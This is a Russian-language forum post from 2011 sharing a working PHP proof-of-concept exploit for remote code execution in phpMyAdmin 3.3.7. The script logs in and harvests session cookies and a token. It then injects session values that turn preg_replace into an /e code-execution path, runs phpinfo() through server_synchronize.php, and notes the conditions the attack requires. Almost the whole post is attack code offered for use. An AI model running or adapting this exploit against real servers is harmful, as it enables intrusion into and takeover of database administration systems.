Показать сообщение отдельно
Старый 10.07.2011, 01:17   #17
Andrey1800
 
Регистрация: 31.08.2010
Сообщений: 196
Репутация: 154
По умолчанию

в процессе тестов оказалось, что при rg=on пма ругается на 0=1US1 словами "numeric key detected"
второй сплоит работает по той же схеме, что и http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html
ограничения прежние, magic_quotes_gpc=Off
Код:
<?php
$cookie = '';
$user = 'root';
$pass = '';
$pmaurl = 'http://localhost/phpMyAdmin-3.3.7-all-languages';
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_POST => 1,
	CURLOPT_URL => $pmaurl.'/index.php',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_POSTFIELDS => 'pma_username='.urlencode($user).'&pma_password='.urlencode($pass)
));
$result = curl_exec($ch);
curl_close($ch);
// Extract cookies
preg_match('/pma_mcrypt_iv=[^;]+; /', $result, $matches);
$cookie = $matches[0];
preg_match('/phpMyAdmin=[^;]+; /', $result, $matches);
$cookie .= $matches[0];
preg_match('/pmaUser-[^;]+; /', $result, $matches);
$cookie .= $matches[0];
preg_match('/pmaPass-([^;]+)/', $result, $matches);
$cookie .= $matches[0];
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/index.php?token='.$token.'&_SESSION[trg_db]=\`?phpinfo():phpinfo();%00&_SESSION[uncommon_tables][0]=qwe||/e%00&_SESSION[src_uncommon_tables][0]=qwe||/e%00&session_to_unset=123',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_COOKIE => $cookie
));
$result = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/server_synchronize.php?token='.$token.'&synchronize_db=1',
//	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_COOKIE => $cookie
));
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
Andrey1800 вне форума   Ответить с цитированием